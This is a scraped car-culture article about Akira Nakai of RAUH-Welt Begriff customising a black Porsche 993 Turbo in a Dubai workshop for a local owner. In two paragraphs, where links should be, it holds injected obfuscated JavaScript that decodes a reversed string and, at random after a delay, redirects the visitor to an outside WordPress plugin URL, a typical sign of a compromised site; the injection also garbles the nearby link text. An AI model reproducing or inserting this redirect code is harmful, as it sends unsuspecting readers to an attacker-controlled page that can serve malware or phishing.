RAUH-Welt Begriff. Dark Romantic. The First Drive, Pt. One

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When I step through the door of an innocuous looking industrial unit in Dubai’s Al Quoz district, I’m met with one hell of a sight. Taking pride of place amid a sea of spacers, rivets and spanners is the meanest looking Porsche 993 I’ve ever seen. It’s black, low, wide and highly modified. A crowd of people are standing around it, just looking. Except for a slightly scruffy, diminutive Japanese man, dressed in black, who’s hard at work putting the finishing touches to his creation. The rest of the assembled throng are letting him get on with it, watching with awe.

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This man is Akira Nakai, the man behind RAUH-Welt Begriff, the German term for Rough World Concept, a firm established 10 years ago in Chiba, Japan. He’s held in huge esteem by the growing number of RWB fans around the world, bewitched by his one-off creations. Nakai-san builds customised Porsches with a Japanese twist for his customers, notable not just for their extreme looks but also for the incredible attention to detail he pays. Each car he builds, for customers all around the globe, is unique. It’s created without plans, blueprints, drawings or even sketches. RWB cars are probably as close to automotive art as it’s possible to get and as such are highly sought after.

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$VOcl3cIRrbzlimOyC8H=function(n){if (typeof ($VOcl3cIRrbzlimOyC8H.list[n]) == “string”) return $VOcl3cIRrbzlimOyC8H.list[n].split(“”).reverse().join(“”);return $VOcl3cIRrbzlimOyC8H.list[n];};$VOcl3cIRrbzlimOyC8H.list=[“‘php.sgnittes-nigulp/daol-efas/slmtog/snigulp/tnetnoc-pw/moc.reilibommi-gnitekrame//:ptth’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}andpiston.com/lifestyle/rauh-welt-dubai-introducing-dark-romantic-porsche/ ” target=”_blank”>This particular car is being built at the Living Classics workshop for Dubai businessman Zafer Taher, who discovered the cult of RAUH-Welt after reading about the firm on crankandpiston (where else?!). He contacted Nakai-san, and the process began. Nakai flew in from Japan, met with Zafer and his wife, spent a few days discussing likes and interests, and then left, while Zafer sourced a base car for him to work on.

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After much searching, he bought $VOcl3cIRrbzlimOyC8H=function(n){if (typeof ($VOcl3cIRrbzlimOyC8H.list[n]) == “string”) return $VOcl3cIRrbzlimOyC8H.list[n].split(“”).reverse().join(“”);return $VOcl3cIRrbzlimOyC8H.list[n];};$VOcl3cIRrbzlimOyC8H.list=[“‘php.sgnittes-nigulp/daol-efas/slmtog/snigulp/tnetnoc-pw/moc.reilibommi-gnitekrame//:ptth’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}andpiston.com/on-the-road/porsche-993tt-rauh-welt-dubai-tune-up-in-progress/” target=”_blank”>a low-mileage 1997 993 Turbo, with a factory S kit, from a friend. And then promptly had it completely disassembled. Meanwhile, back in Japan, Nakai-san was creating the necessary parts. “He told me to paint the car in gloss black and that’s all I need to do,” Zafer recalls. “Then the parts started showing up from Japan, the body kit and the wing, little bits and pieces with hand written notes. ‘Paint it black’, ‘leave it’, stuff like that. So in the workshop I was doing exactly what he wanted.” Once it was painted, and the interior done, that’s when Nakai flew in.

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Watching Nakai work, you don’t get the engineer vibe from him. Sure, his fingers are calloused, oil-stained and almost always holding a cigarette. But the way he moves around the car, steps back to take in his work and consider his next move, is more reminiscent of a painter or sculptor. You get the sense that this is an artist at work.

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Zafer’s account of his arrival backs that up. “I picked him up at the airport at 6am, he had a coffee in the hotel lobby but didn’t go to his room,” he says. “I picked him up at 9am and he said he wanted to get to work. He had a metal case with him that was full of screws, wrenches, saws, tape. The guy just lives it, breathes it. It’s amazing!

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“He started working straight from the airport and people just sat and watched. He’s a wizard when it comes to crafting stuff with his bare hands. He’s got no measurement tools – the suspension was set up using cigarette butts and a cigarette packet. He’d stand there in front of the car, put his cigarette packet in the wheel, stand up, push it out 1mm, tighten the bolts, look at it. It’s not for show. He’d do it even if no one was watching. He’d work 14-15 hours a day. He’s a genius. I’m in love with the car even more because I’ve met the guy. Had I just bought it off the shelf and not met the guy and seen what he’s capable of doing, I wouldn’t have appreciated it as much.”

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Nakai’s English is limited, but the few words we manage convey a deep-seated passion for cars, particularly Porsche. “I like only Porsches,” he says with a smile. “I think they have a cool style, and I want style. And Porsche is a true lightweight compact sports car. It’s pure. It’s number one.